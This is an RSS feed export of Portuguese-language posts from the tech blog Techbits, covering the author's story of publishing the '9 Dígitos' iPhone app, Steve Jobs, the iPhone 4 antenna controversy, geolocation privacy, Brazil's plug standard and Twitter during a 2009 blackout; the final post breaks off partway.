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	<title>Techbits</title>
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	<description>O Techbits é um blog voltado para discussão de tecnologia em geral, com foco em web, mobilidade, segurança, life hack, cauda longa (long tail) e negócios.</description>
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		<title>A saga de um app</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Sat, 28 Jul 2012 08:18:50 +0000</pubDate>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[9 dígitos]]></category>
		<category><![CDATA[app]]></category>
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					<description><![CDATA[<p>Quando eu tinha 10 anos de idade meus pais me deram um microcomputador MSX, lembram? Pois é, um sistema de 8 bits que rodava um interpretador BASIC sem sistema operacional por trás. Virou meu hobby na época. Devorei alguns livros de programação e fui aprendendo a &#8220;mandar&#8221; no computador. O código PRINT &#8220;Meu nome é [&#8230;]</p>
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										<content:encoded><![CDATA[<p>Quando eu tinha 10 anos de idade meus pais me deram um microcomputador <a href="http://en.wikipedia.org/wiki/MSX">MSX</a>, lembram? Pois é, um sistema de 8 bits que rodava um interpretador BASIC sem sistema operacional por trás. Virou meu hobby na época. Devorei alguns livros de programação e fui aprendendo a &#8220;mandar&#8221; no computador.</p>
<p>O código PRINT &#8220;Meu nome é Alexandre Fugita&#8221; era a coisa mais divertida do mundo. Falar pro MSX desenhar um círculo na tela, beirava o delírio. Claro, estou exagerando, mas passei parte da minha pré-adolescência em frente ao tal do microcomputador, programando. Do BASIC fui direto para uma linguagem de baixo nível, o Assembler. A ideia era conseguir softwares mais rápidos escrevendo no código binário da <a href="http://en.wikipedia.org/wiki/Zilog_Z80">CPU do velho MSX</a>, que rodava a incríveis 3,75 Mhz&#8230; (sim, umas 1000 vezes menos que um computador atual).</p>
<p>Ah, e estamos falando de 1985, ano do excelente filme <a href="http://en.wikipedia.org/wiki/Back_to_the_Future">De Volta para o Futuro</a>. Depois disso aprendi a programar um pouquinho em Visual Basic no PC, mas não entendia aquela história de programação orientada a objetos. Arrisquei desenvolvimento para mobile com o finado Palm OS. Criei um dos muitos apps de dividir a conta da mesa de um bar, mas nunca publiquei, mantive apenas para os amigos. Ainda não entendia direito o tal dos objetos, classes, etc.</p>
<p>Já mais recentemente, quando resolvi criar este blog (2006), fui &#8220;forçado&#8221; a aprender PHP. Não só isso como também um pouco de noções de banco de dados e o sistema operacional Linux. Não fiz grandes coisas em PHP, apenas um ou dois plugins para uso próprio no WordPress.</p>
<p>Nos últimos 27 anos (nossa, sou velho!) tive experiências diversas em desenvolvimento de software em plataformas diferentes. Nada profissional, sempre como um hobby. Mas comecei a amadurecer a ideia de que precisava criar meu próprio negócio. Trabalhar para os outros paga o &#8220;leitinho das crianças&#8221;, dá uma vida razoavelmente confortável, mas não era isso que eu queria.</p>
<p>O problema é que eu ficava sempre na ideia. Explico: a toda hora enxergava a melhor oportunidade da última semana em criar um negócio e ganhar <a href="http://pt.wikipedia.org/wiki/Tio_Patinhas">quaquilhões de dinheiros</a>. E ouvi de muitos empreendedores que o negócio é executar a ideia e não apenas pensar nela. Executar&#8230; Fazer&#8230; Por em prática&#8230; Era isso que faltava para mim.</p>
<p>O surgimento de um mercado maduro de apps proporcionado pelas plataformas iOS e Android ficava me chamando: &#8220;desenvolve pra mim, desenvolve pra mim&#8221;. Resolvi atender o chamado. No final do ano passado consegui uma rara condição em que tinha duas coisas &#8220;sobrando&#8221;: tempo e um pouco de dinheiro para segurar uns meses sem renda. Era a oportunidade. Agora ou nunca.</p>
<p>Optei pelo &#8220;agora&#8221;! Vou gastar meu tempo desenvolvendo um negócio. Mas o quê? A minha experiência dos últimos anos apontava para &#8220;agência de comunicação em mídias sociais&#8221;. Mas será que era isso mesmo? E aqueles 27 anos como developer amador, aquela paixão por código? Pois é, isso falou mais forte. Bem mais forte.</p>
<p>&#8220;Vou arriscar no mercado de aplicativos para smartphones&#8221;, pensei. Mas eu não fazia ideia como programar para iPhone e nem para Android. <a href="http://pt.wikipedia.org/wiki/Orienta%C3%A7%C3%A3o_a_objetos">Orientado a objetos</a>. De novo os objetos, malditos objetos. Apesar de entender o conceito, não compreendia como funcionava. Comprei uns e-books na Amazon (sim, decidi só comprar livro eletrônico a partir de agora) sobre iOS e Android. Dois de cada. Aumentou para 3 de cada. Quatro. Uma prateleira de livros virtuais. Dólares e dólares causando problemas na balança comercial entre o Brasil e os EUA.</p>
<p>Li e resolvi fazer o mesmo que quando tinha 10 anos de idade: copiar o código dos livros, <a href="https://techbits.com.br/2007/a-cultura-do-copy-paste/">não com copy/ paste</a> e sim olhando e digitando no MacBook pra aprender aquele código que parecia indecifrável para quem tinha aprendido BASIC e PHP em outra eras. Um mês se foi. Dois meses. 3 e contando. Aprendi uma ou duas coisas, mas o que criar com esse conhecimento? Potência não é nada sem controle, já dizia <a href="http://www.youtube.com/watch?v=rcA2I_7ACN4&amp;feature=player_embedded">aquele comercial</a>&#8230;</p>
<p><img fetchpriority="high" decoding="async" class="alignnone size-full wp-image-908" title="9digitos" src="https://techbits.com.br/wp-content/uploads/2012/07/9digitos.jpg" alt="9 Dígitos, o app" width="600" height="400" /></p>
<p>Foi quando li em algum blog que lá pra frente, no meio de 2012 os números de celular de SP iriam ganhar um dígito a mais. Seriam 9 dígitos devido ao esgotamento das combinações de celular possíveis. Faltava muito tempo para isso ainda, mas coloquei como objetivo: criar um app para <a href="http://www.techtudo.com.br/platb/negocios/2011/09/02/resolvendo-o-problema-fundamental/">resolver esse problema fundamental</a>. Acho que já estávamos em Abril deste ano, por aí&#8230; 4 meses sem renda, o caixa diminuindo.</p>
<p>Chamei meu irmão, o <a href="http://web.stagram.com/n/newtera">Newton</a> (Fugita, claro!). Ele é designer, desenha embalagens de produtos que você usa, mas nunca mexeu com mobile. Proponho: &#8220;vamos trabalhar de graça como sócios para criar esse app?&#8221; Ele topou, muito bom!</p>
<p>Dias inteiros em frente ao computador, noites inteiras. Namorada compreensiva. Pressões de prazo que eu mesmo criava. Milhares de coisas acontecendo. Instagram vendido pro Facebook. Microsoft anuncia tablet quadradão. Google pula de paraquedas para demonstrar óculos conectados. Telefônica agora é Vivo. Corinthians Campeão da Libertadores!</p>
<p>O app ficou pronto, estamos no final de Junho de 2012. O processo de review da Apple é cruel. Demora quase duas semanas para eles darem uma olhada. O primeiro envio foi reprovado, droga. O segundo envio foi angustiante. Quase duas semanas e nem sinal da Apple dizer se o app está ok para os altos padrões dela. Falta menos de 1 semana para o dia 29 de Julho! E agora?</p>
<p>E na última quarta-feira, finalmente o email que tanto esperava. Seu app está em review disse a empresa da maçã. Ficou em review cinco angustiantes horas. Passei mal&#8230; fiquei nervoso&#8230; não conseguia pensar&#8230; Se a Apple não aprovar agora foram 7 meses jogados no lixo. 7 meses! Eu podia estar trabalhando para alguém, mas&#8230; 7 meses! É quase um filho.</p>
<p>É um filho! <a href="https://twitter.com/9Digitos/status/228267982705545217">A Apple aprovou</a>! \o/ \o/  \o/  \o/  \o/  A Apple aprovou!!! Você não está entendendo, a Apple aprovou!!! \o/ \o/  \o/  \o/  \o/</p>
<p>Felicidade total! É um filho! A Apple aprovou!!! Vamos divulgar! Quero dizer&#8230; vou divulgar! Já tinha criado um Facebook, um Twitter, um site, uma lista de contatos em blogs e grande mídia. Vamos começar a trabalhar. Eram 20h da última quarta-feira, dia 25 de Julho de 2012.</p>
<blockquote class="twitter-tweet" lang="pt"><p>O <a href="https://twitter.com/search/%25239Digitos">#9Digitos</a> foi aprovado na AppStore \o/ <a title="http://migre.me/a2GsF" href="http://t.co/7vxNIFqm">migre.me/a2GsF</a><br />
— 9 Dígitos (@9Digitos) <a href="https://twitter.com/9Digitos/status/228267982705545217" data-datetime="2012-07-25T23:18:22+00:00">julho 25, 2012</a></p></blockquote>
<p>Email para meus pais, email para meus irmãos. Emails para primos, primas, tios, tias. Divulguei no Facebook, no Twitter, Google Plus, mandei mensagens particulares para um monte de amigos e colegas do meu networking. Blogueiros, jornalistas, ex-chefes, ex-várias coisas. Quarta, quinta, o dia todo, a noite toda, no almoço, no banheiro, em qualquer lugar. Namorada compreensiva, ainda bem! E ela (<a href="http://twitter.com/claudiamidori">Claudia Midori</a>) ajudou bastante na divulgação! Aliás todos ajudaram bastante na divulgação. Muito obrigado!</p>
<p>O app se chama 9 Dígitos e faz a atualização dos contatos do iPhone para o novo formato de celulares de São Paulo. É um app feito com muito suor e carinho. Feito com vontade, feito para ser o melhor da sua categoria.</p>
<p>Essa é a história de um app. É a minha história e das pessoas ao meu redor. É a minha chance, não posso deixar escapar.</p>
<p><strong>Site do app:</strong> <a href="http://9digitos.com/">http://9digitos.com</a><br />
<strong>Link na appstore:</strong> <a href="http://itunes.apple.com/us/app/9-digitos/id540679972?ls=1&amp;mt=8">http://itunes.apple.com/us/app/9-digitos/id540679972?ls=1&amp;mt=8</a></p>
<p><strong>Leia mais sobre o app:</strong></p>
<ul>
<li>No Meio Bit: <a href="http://meiobit.com/102864/app-do-dia-9dgitosutilssimo-e-mais-barato-que-um-chopps-e-dois-pastel/">App do Dia: 9Dígitos–utilíssimo e mais barato que um chopps e dois pastel</a></li>
<li>No MacMagazine: <a href="http://macmagazine.com.br/2012/07/27/confira-mais-dois-apps-que-facilitam-a-insercao-do-nono-digito-em-iphonesipods-touch/">Confira mais dois apps que facilitam a inserção do nono dígito em iPhones</a></li>
<li>No iG Tecnologia: <a href="http://tecnologia.ig.com.br/2012-07-27/veja-aplicativos-para-incluir-o-digito-9-nos-contatos-do-celular.html">Veja aplicativos para incluir o dígito 9 nos contatos do celular</a></li>
<li>Citação no Infowester: <a href="http://www.infowester.com/blog/digito-adicional-nos-celulares-de-ddd-11-comecam-a-valer-no-proximo-domingo/">Dígito adicional nos celulares de DDD 11 começam a valer no próximo domingo</a></li>
<li>Citação no Tecnoblog: <a href="http://tecnoblog.net/108373/sao-paulo-nono-digito/">Celulares de São Paulo terão nove dígitos a partir de domingo</a></li>
<li>Citação no ClaroBlog: <a href="http://www.claroblog.com.br/conteudo.asp?POST_ID=1139">Dicas de como atualizar a sua agenda com o nono dígito</a></li>
<li>Na INFO Exame: <a href="http://info.abril.com.br/noticias/blogs/download-da-hora/iphone/9-apps-para-colocar-o-nono-digito-em-sua-agenda/">9 apps para colocar o nono dígito em sua agenda</a></li>
<li>No blog do Rodrigo Ghedin: <a href="http://www.rodrigoghedin.com.br/blog/9-digitos">9 Dígitos</a></li>
<li>Rodrigo Toledo: <a href="http://rodrigostoledo.com/2012/07/29/9-digitos-alterando-os-numeros-dos-celulares-de-sao-paulo/">9 Dígitos: Alterando os números dos celulares de São Paulo</a></li>
</ul>
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		<title>Steve Jobs</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Thu, 06 Oct 2011 05:07:38 +0000</pubDate>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[steve-jobs]]></category>
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					<description><![CDATA[<p>Raramente acompanho as notícias quando alguma personalidade morre. Tomo conhecimento, guardo a informação pra não cometer nenhuma gafe e não passa disso. No caso do lendário Steve Jobs foi diferente pois trata-se de uma personalidade cuja história acompanho faz tempo. Sou um consumidor satisfeito da Apple: já comprei 3 iPhones, um Mac e um iPad [&#8230;]</p>
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										<content:encoded><![CDATA[<p><a href="http://twitter.com/#!/TheDavidMurphy/status/121746190634192896"><img decoding="async" class="alignnone size-full wp-image-865" title="iPhone4S = For Steve" src="https://techbits.com.br/wp-content/uploads/iPhone4S-For-Steve.png" alt="iPhone4S = For Steve" width="271" height="167" srcset="https://techbits.com.br/wp-content/uploads/iPhone4S-For-Steve.png 387w, https://techbits.com.br/wp-content/uploads/iPhone4S-For-Steve-300x185.png 300w" sizes="(max-width: 271px) 100vw, 271px" /></a>Raramente acompanho as notícias quando alguma personalidade morre. Tomo conhecimento, guardo a informação pra não cometer nenhuma gafe e não passa disso. No caso do lendário Steve Jobs foi diferente pois trata-se de uma personalidade cuja história acompanho faz tempo.</p>
<p>Sou um consumidor satisfeito da Apple: já comprei 3 iPhones, um Mac e um iPad até o momento. Um dos iPhones infelizmente foi roubado e o iPad foi presente de Dia dos Pais para meus pais, que dividi com meus irmãos. Aliás meus dois irmãos e minha irmã são donos de iPhones, ou seja, a empresa da maçã faz parte do dia a dia da família.</p>
<p>Acompanho os <a href="http://itunes.apple.com/us/podcast/apple-keynotes/id275834665">keynotes da Apple</a> desde 2007, pelo menos, quando o Steve Jobs lançou o iPhone original. Foi uma das apresentações mais hipnotizantes que já vi. Vale (re)assistir aos primeiros 5 minutos, é incrível!</p>
<p>Termino este post com <a href="http://twitter.com/#!/TheDavidMurphy/status/121746190634192896">a melhor homenagem</a> que vi no Twitter sobre o Steve Jobs: iPhone 4S = For Steve</p>
<p><iframe title="iPhone Keynote 2007 Complete" width="500" height="281" src="https://www.youtube.com/embed/t4OEsI0Sc_s?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></p>
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		<title>There is no spoon</title>
		<link>https://techbits.com.br/2010/there-is-no-spoon/</link>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Sat, 17 Jul 2010 05:01:23 +0000</pubDate>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[antennagate]]></category>
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		<category><![CDATA[death grip]]></category>
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		<category><![CDATA[iphone 4]]></category>
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					<description><![CDATA[<p>Tenho acompanhado de perto toda a história do iPhone 4, seu problema da antena, a repercussão e reclamações por parte de blogs e da mídia tech americana. Acabei de assistir à press conference que o Steve Jobs apresentou meros 22 dias depois do lançamento do iPhone 4 e simplesmente acho que a Apple viajou. Tanto que [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><a href="https://techbits.com.br/wp-content/uploads/antennagate.jpg"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-835" title="antennagate" src="https://techbits.com.br/wp-content/uploads/antennagate.jpg" alt="antennagate" width="300" height="194" /></a>Tenho acompanhado de perto toda a história do iPhone 4, seu problema da antena, a repercussão e reclamações por parte de blogs e da mídia tech americana. Acabei de assistir à <a href="http://events.apple.com.edgesuite.net/100716iab73asc/event/index.html">press conference</a> que o Steve Jobs apresentou meros 22 dias depois do lançamento do iPhone 4 e simplesmente acho que a Apple viajou. Tanto que resolvi escrever aqui, meses depois do meu último texto.</p>
<p>A empresa da maçã <a href="http://techcrunch.com/2010/07/15/iphone-4-press-conference/">chamou de última hora</a> boa parte dos grandes da mídia e blogosfera tecnológica americana para uma coletiva para dar sua versão dos fatos: o iPhone 4 não tem nenhum problema. Mas logo se contradisse ao oferecer o tal do &#8220;free bumper”, um case de silicone para evitar que o sinal do smartphone caísse. Isso mesmo, diz que não há problema mas oferece solução para o problema que não existe.</p>
<p>Um dia antes desta coletiva a Apple soltou uma atualização do iOS4, a versão 4.0.1. O que ela faz? Deixa as barras de sinal mais altas e muda o algoritmo que calcula quantas barras devem aparecer na tela. Eu, como todo geek curioso, atualizei meu iPhone (3G) e as barras que ficam mais altas me deram impressão de que o sinal está melhor. <a href="http://www.anandtech.com/show/3821/iphone-4-redux-analyzing-apples-ios-41-signal-fix">Não está, são apenas barras!</a></p>
<p>Outra coisa que me chamou a atenção foi o fato do Steve Jobs ter afirmado no início da coletiva que a Apple sabia que essa ideia da antena externa do iPhone diminuia o sinal. Mas no final da coletiva, na hora das perguntas dos jornalistas, afirmou categoricamente que a <a href="http://www.bloomberg.com/news/2010-07-15/apple-engineer-said-to-have-told-jobs-last-year-about-iphone-antenna-flaw.html">matéria da Bloomberg</a> afirmando que a Apple sabia disso antecipadamente não era verdadeira. Percebeu a contradição?</p>
<p><a href="http://www.apple.com/antenna/">Foi ainda estranho ver</a> a Apple comparando seu problema com outros players do mercado de forma exagerada dizendo que todos os smartphones quando segurados de forma muito envolvente perdem sinal também. Perdem, é verdade, mas quando perguntaram se é diferente apenas encostar no &#8220;<a href="http://pogue.blogs.nytimes.com/2010/06/25/the-mystery-of-the-iphone-death-grip/">death grip</a>” a envolver o iPhone como um todo, os executivos da Apple responderam pela tangente.</p>
<p>Pra finalizar, <a href="http://9to5mac.com/node/19775">tem gente especulando</a> que a Apple pode lançar uma versão corrigida do iPhone 4 em outubro. Por isso a data limite de 30 de Setembro para dar &#8220;free bumpers” aos compradores. Na própria coletiva Jobs ressaltou que após essa data eles reavaliariam a oferta. Seria o iPhone 4 v1.1? <a href="http://pogue.blogs.nytimes.com/2010/07/16/loosening-the-iphone-death-grip/">Ou como disse o sempre ótimo David Pogue</a>: calma, pessoal, calma. É só um telefone&#8230;</p>
<h4>Leia mais:</h4>
<ul>
<li> <a href="http://www.engadget.com/2010/07/16/live-from-apples-iphone-4-press-conference/">Live from Apple&#8217;s iPhone 4 press conference</a>, via Engadget</li>
<li><a href="http://arstechnica.com/staff/fatbits/2010/07/unanswered-questions-unearned-trust.ars">iPhone 4 antenna: unanswered questions, unearned trust</a>, via ArsTechnica</li>
<li><a href="http://www.appleoutsider.com/2010/07/17/townhall/">Thoughts on the iPhone 4 Press Conference</a>, via Outsider</li>
<li><a href="http://www.slate.com/id/2260619">Here&#8217;s Your Free Case, Jerk</a>, via Slate</li>
<li><a href="http://gizmodo.com/5589639/">RIM And Nokia Respond To Apple&#8217;s Antennagate Press Conference</a>, via Gizmodo</li>
</ul>
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		<title>Geolocalização e a privacidade</title>
		<link>https://techbits.com.br/2010/geolocalizacao-e-a-privacidade/</link>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Fri, 12 Mar 2010 22:52:51 +0000</pubDate>
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		<category><![CDATA[fousquare]]></category>
		<category><![CDATA[geolocalização]]></category>
		<category><![CDATA[please rob me]]></category>
		<category><![CDATA[privacidade]]></category>
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					<description><![CDATA[<p>Uma das coisas que notei nos últimos tempos é que aplicativos usando geolocalização estão chegando para ficar. Um dos grandes destaques é o Foursquare, jogo social que envolve reviews de lugares pela multidão e que é bastante interessante. E como tudo que é legal e interessante eu acabo virando um evangelizador. E quando quero contar para [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><a href="https://techbits.com.br/wp-content/uploads/geolocalizacao-fousquare.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-822" title="geolocalizacao-fousquare" src="https://techbits.com.br/wp-content/uploads/geolocalizacao-fousquare.png" alt="geolocalizacao-fousquare" width="300" height="135" /></a>Uma das coisas que notei nos últimos tempos é que aplicativos usando geolocalização estão chegando para ficar. Um dos grandes destaques é o <a id="kazf" title="Foursquare" href="http://foursquare.com/">Foursquare</a>, jogo social que envolve reviews de lugares pela multidão e que é bastante interessante. E como tudo que é legal e interessante eu acabo virando um evangelizador. E quando quero contar para as pessoas sobre o Foursquare, a primeira reação da grande maioria é perguntar sobre a questão da privacidade e os perigos de fazer &#8221; broadcast&#8221; da sua localização. Existe mesmo este perigo?</p>
<h3>Localização consentida</h3>
<p>Uma das características do Foursquare e que você precisa aceitar novas conexões. Em tese você compartilha apenas com pessoas conhecidas sua posição no globo terrestre. E é aí que vou me aprofundar na questão da privacidade e a geolocalização. Você escolhe com quem compartilhar essa informação e bloqueia aquelas que não quer que vejam isso.</p>
<p>No <a id="grck" title="Google Latitude" href="http://www.google.com/latitude">Google Latitude</a> é mais ou menos a mesma coisa. Cada novo contato exige autorização para se firmar. Se você só adicionar pessoas conhecidas em tese não há perigos em ficar divulgando onde você está. Além disso nas duas redes você pode escolher não dizer onde está, ou seja, tem controle total sobre o &#8220;broadcast&#8221; desta informação.</p>
<h3>Localização obrigatória</h3>
<p>Isso tudo é bem diferente daquela ideia maluca que nosso governo tem de <a id="vw82" title="colocar chips nos carros" href="https://techbits.com.br/2006/o-chip-nos-carros-e-a-privacidade/">colocar chips nos carros</a> de todos os cidadãos que possuem um <a id="xopu" title="a partir de 2011" href="http://idgnow.uol.com.br/mercado/2009/10/30/denatran-oficializa-projeto-para-instalar-chips-em-carros-no-brasil-ate-2014/">a partir de 2011</a>. Dizem que é para diminuir roubos de carros, mas para efeitos práticos isso nunca vai acontecer. O grande problema é a obrigatoriedade de usar esse chip nos carros. A única escolha que você pode fazer é ter ou não ter carro. Tendo um carro sua localização será obrigatória. Péssimo!</p>
<h3>Please, Rob me!</h3>
<p>Claro, a geolocalização acaba criando novas aplicações interessantes. Uma delas é o <a id="vc3e" title="Please, Rob Me!" href="http://pleaserobme.com/">Please, Rob Me!</a>, que pega todas as tuitadas automáticas feitas pelos usuários de Foursquare e informa que a casa deles está vazia, hehehe! Genial!</p>
<p>Uma outra que descobri recentemente é o <a id="rhq9" title="Where Do You Go" href="http://www.wheredoyougo.net/">Where Do You Go</a>, mashup que desenha sob o Google Maps uma camada com as regiões que você mais frequenta. <a id="iiaa" title="O meu mapa está aqui" href="http://www.wheredoyougo.net/public/ag93aGVyZS1kby15b3UtZ29yEAsSCE1hcEltYWdlGIOMKww.html">O meu mapa está aqui</a>. É interessante, mas deve causar calafrios em todos aqueles preocupados com a privacidade como eu. E por que estou divulgando? Trata-se de uma informação com delay, ou seja, não é em tempo real e portanto não indica onde estou neste momento, o que me deixa mais tranquilo.</p>
<h3>Geolocation is the new black</h3>
<p><a id="ilgg" title="Geolocation is the new black, exagerou ontem a Molly Wood no Buzz Out Loud" href="http://www.cnet.com/8301-19709_1-20000250-10.html">Geolocation is the new black, exagerou a Molly Wood no Buzz Out Loud</a>, um dos melhores podcasts de tecnologia, direto do <a id="tq:x" title="SXSW" href="http://sxsw.com/">SXSW</a>. Então é isso, 2010 é o ano da geolocalização. Anotem aí!</p>
<h4>Leitura recomendada:</h4>
<ul>
<li><a href="http://www.messa.com.br/eric/ecode/2010/01/exposicao-x-geolocalizacao.html">Exposição X Geolocalização</a>, via e-code, texto do amigo Eric Messa</li>
</ul>
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		<title>Tomadas: reserva de mercado sem reserva</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Tue, 05 Jan 2010 17:45:05 +0000</pubDate>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[brasil]]></category>
		<category><![CDATA[mercado]]></category>
		<category><![CDATA[padrão]]></category>
		<category><![CDATA[reserva]]></category>
		<category><![CDATA[tomadas]]></category>
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					<description><![CDATA[<p>Um dos assuntos que vem me preocupando bastante e que na verdade nem é foco direto deste blog &#8211; aqui costumo falar mais de web e internet &#8211; é o caso das tomadas brasileiras. Eu sei que o assunto já está meio velho, que perdi o timing para publicar isso, mas convenhamos, essa ideia maluca [&#8230;]</p>
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										<content:encoded><![CDATA[<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-790" title="tomadas" src="https://techbits.com.br/wp-content/uploads/2010/01/tomadas.jpg" alt="tomadas" width="300" height="247" />Um dos assuntos que vem me preocupando bastante e que na verdade nem é foco direto deste blog &#8211; aqui costumo falar mais de web e internet &#8211; é o caso das tomadas brasileiras. Eu sei que o assunto já está meio velho, que perdi o timing para publicar isso, mas convenhamos, essa ideia maluca do governo forçar um padrão de tomadas que não existe em lugar nenhum do mundo cheira a <a id="uf0-" style="color: #551a8b;" title="reserva de mercado" href="http://pt.wikipedia.org/wiki/Reserva_de_mercado">reserva de mercado</a> sem reserva.</p>
<p>Explico: pelo que entendi e descobri nas lojas de material elétrico por aí, o governo, além de obrigar todos os aparelhos e tomadas a usar um padrão brasileiro, proibiu a venda de adaptadores entre os padrões existentes no Brasil e no mundo com o novo sistema brasileiro de tomadas. Está difícil encontrar tomada apropriada para aparelhos novos adquiridos no Brasil e futuramente os adquiridos no exterior.</p>
<p>Meu irmão comprou recentemente um notebook HP que veio com a nova tomada de três pinos brasileira. Chegou em casa todo feliz e&#8230; não conseguiu conectar em tomada alguma. Foi correndo a uma loja comprar um adaptador e&#8230; não encontrou adaptador algum em loja nenhuma&#8230; Ok, ele já tinha outro notebook HP e o carregador do antigo funcionou direitinho no novo mas deu para entender o drama, não?</p>
<p>Imagine agora nós, geeks, comprando o último lançamento da Apple ou o <a id="jxjr" style="color: #551a8b;" title="Nexus One do Google" href="http://www.engadget.com/2010/01/04/nexus-one-review/">Nexus One do Google</a> em uma viagem ao exterior. As tomadas deles são diferentes do Brasil, óbvio. Mas sempre foi possível comprar um adaptador e todos nós vivemos em paz. Mas daqui pra frente a tendência é que as tomadas com padrões antigos desapareçam tanto das casas quanto dos escritórios. Em alguns anos aquele gadget importado não mais funcionará no Brasil sem alguma gambiarra maluca.</p>
<p>Fica claro para mim que o que o governo criou foi uma reserva de mercado falsa. Ao invés de impor novas barreiras alfandegárias &#8211; que já existem e são altíssimas &#8211; inventaram uma tomada que não é compatível com nada que existia antes dela. É ou não é reserva de mercado?</p>
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		<title>Os dois lados da moeda</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Wed, 11 Nov 2009 12:48:32 +0000</pubDate>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[3g]]></category>
		<category><![CDATA[apagão]]></category>
		<category><![CDATA[cobertura]]></category>
		<category><![CDATA[informação]]></category>
		<category><![CDATA[jornalismo]]></category>
		<category><![CDATA[tempo real]]></category>
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					<description><![CDATA[<p>Certamente o tuíter será rei de muitos textos do dia de hoje. Tudo por causa de um apagão de quase 4 horas (no meu caso) que o sistema elétrico brasileiro enfrentou no final da noite de ontem e início da madrugada de hoje. Mas não é bem assim, diria a Marion Strecker, diretora de conteúdo [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><a href="https://techbits.com.br/wp-content/uploads/2009/11/moedas.jpg"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-787" title="moedas" src="https://techbits.com.br/wp-content/uploads/2009/11/moedas.jpg" alt="moedas" width="250" height="188" /></a>Certamente o tuíter será rei de muitos textos do dia de hoje. Tudo por causa de um apagão de quase 4 horas (no meu caso) que o sistema elétrico brasileiro enfrentou no final da noite de ontem e início da madrugada de hoje.</p>
<p><a id="zf78" title="Mas não é bem assim" href="http://twitter.com/marionstrecker/status/5607975089">Mas não é bem assim</a>, diria a Marion Strecker, diretora de conteúdo do UOL. Nos portais de notícias houve apuração, entrevistas. Jornalistas foram a coletivas de imprensa para saber o que estava acontecendo. <a id="ghlw" title="Mas não é bem assim" href="http://twitter.com/fugita/status/5604670881">Mas não é bem assim</a>, diria algum tuiteiro mais exaltado. Então como é que é?</p>
<p>Recentemente fiz um post sobre &#8220;<a id="jpso" title="O valor da informação" href="../2009/o-valor-da-informacao/">O valor da informação</a>&#8220;. Nele falo que a notícia, o registro simples e puro de um fato, está virando commodity.  Mas também falo que se a notícia for uma informação em tempo real ela deixa de ser commodity. A cobertura jornalística feita pelos portais da internet, rádios e redes de TV tentaram ser o mais rápidos possível na divulgação de informações. Ótimo! Esse trabalho de apuração é importantíssimo e não será substituído.</p>
<p>O que acontece é que o Twitter realmente é ótimo para sabermos o que está acontecendo em <a id="devu" title="tempo real" href="http://peixefresco.net/2009/artigo/a-web-em-tempo-real/">tempo real</a>. A característica caótica das mensagens postadas é suficiente para sabermos o que se passa em vários lugares diferentes. Em menos de 2 minutos percebi que a falta de luz não era do meu bairro, nem da minha cidade, mas muito mais ampla do que isso.</p>
<p>Já as notícias da grande mídia foram importantíssimas para suprir a minha timeline do Twitter com informações postadas por pessoas de todo o Brasil sobre o que de fato havia acontecido de acordo com informações de fontes confiáveis. E tudo trabalhou em conjunto para que meu vício por informação fosse suprido.</p>
<h3>3G</h3>
<p>E se não fosse o 3G e as torres de celular nada disso seria possível. Milhares de pessoas ficaram ligadas nas notícias através de suas conexões 3G dos celulares oumodens para notebook. As torres de celular aguentaram bem o apagão e, pelo menos no meu caso, permitiram navegar na internet, checar o Twitter e sites de notícias. Vitória da tecnologia.</p>
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		<title>Essa tal da internets…</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Mon, 09 Nov 2009 15:59:11 +0000</pubDate>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[distribuição]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[multidão]]></category>
		<category><![CDATA[uniban]]></category>
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					<description><![CDATA[<p>A internets mudou a forma como a informação é distribuída. Os custos caíram a quase zero. Qualquer um pode ter um blog, twitter e, portanto, voz na multidão. Parece óbvio, ou melhor, é óbvio afirmar tudo isso que disse até agora. Mas nem todos perceberam essacaracterística da internet. Lá no período feudal a distribuição de [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><a id="ziac" title="A internets mudou a forma como a informação é distribuída" href="../2007/a-nova-distribuicao-de-conteudo/"><a href="https://techbits.com.br/wp-content/uploads/2009/11/series-of-tubes.jpg"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-784" title="series-of-tubes" src="https://techbits.com.br/wp-content/uploads/2009/11/series-of-tubes.jpg" alt="series-of-tubes" width="300" height="262" /></a>A internets mudou a forma como a informação é distribuída</a>. Os custos caíram a quase zero. Qualquer um pode ter um blog, twitter e, portanto, voz na multidão. Parece óbvio, ou melhor, é óbvio afirmar tudo isso que disse até agora. Mas nem todos perceberam essacaracterística da internet.</p>
<p>Lá no período feudal a distribuição de informações era complicada e cara. A igreja católica era uma das poucas instituições que tinha ocacife para bancar pessoas a publicarem conteúdo. Livros e todo o tipo de informação era registrada manualmente por escribas especializadíssimos. O mesmo ocorria em outras culturas como no Egito e outros lugares do planeta.</p>
<p>Daí veio o <a id="kkv:" title="Gutenberg" href="http://en.wikipedia.org/wiki/Johannes_Gutenberg">Gutenberg</a>. Ele pegou várias tecnologias que existiam em sua época e juntou em um invento que chamou de tipo móvel. Revolução! A partir deste ponto a distribuição da informação nunca mais foi a mesma.</p>
<p>A igreja perdeu seu monopólio pois o tipo móvel permitiu a muito mais gente bancar a distribuição de informações. Essa tecnologia fez surgir editoras de livros, jornais impressos e barateou em muito a distribuição.</p>
